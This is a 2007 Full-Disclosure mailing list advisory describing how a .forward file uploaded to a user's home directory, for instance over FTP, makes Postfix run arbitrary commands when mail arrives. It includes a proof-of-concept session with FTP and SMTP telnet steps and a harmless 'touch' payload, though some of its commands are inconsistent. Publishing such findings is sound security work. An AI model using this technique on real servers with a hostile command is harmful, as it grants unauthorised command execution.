[Full-disclosure] Small Design Bug in Postfix - REMOTE

Small Design Bug in Postfix - REMOTE

There's a small issue on how Postfix forwards mails.
A user can have a .forward file in her home directory.
Inside this file she can specifiy an alternative recipient
or use aliasing to execute commands when mail is received.
From the manpage ALIASES(5)
"aliases - Postfix local alias database format"

Mail is piped into command. Commands that contain
special characters, such as whitespace, should be
enclosed between double quotes. See local(8) for
details of delivery to command.

When the command fails, a limited amount of command
output is mailed back to the sender. The file
/usr/include/sysexits.h defines the expected exit
status codes. For example, use "|exit 67" to simu-
late a "user unknown" error, and "|exit 0" to
implement an expensive black hole.

This is fine since postfix properly drops privileges before
executing the command.
The Problem with executing commands via .forward files is that
if someone manages to place a file into ones home directory and
just sends a file to the mailserver she can execute commands
even when she's not supposed to or does not have the privileges.

Here is an example exploitation session, the user 'rootkey'
only has ftp access with write permissions and no other privileges than that.

Login to FTP server
telnet box 21
USER rootkey
PASS rootkey123
<logged in

Put .forward file with following contents into the home directory of
user 'rootkey'.

|touch /tmp/XXX

put .forward

Now send an email to user rootkey.

telnet box 25
mail from: rootkey
rcpt to: rootkey


kcope@box:~$ ls /tmp/testXXX


- -kcope/2007

GMX FreeMail: 1 GB Postfach, 5 E-Mail-Adressen, 10 Free SMS.
Alle Infos und kostenlose Anmeldung: http://www.gmx.net/de/go/freemail

Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/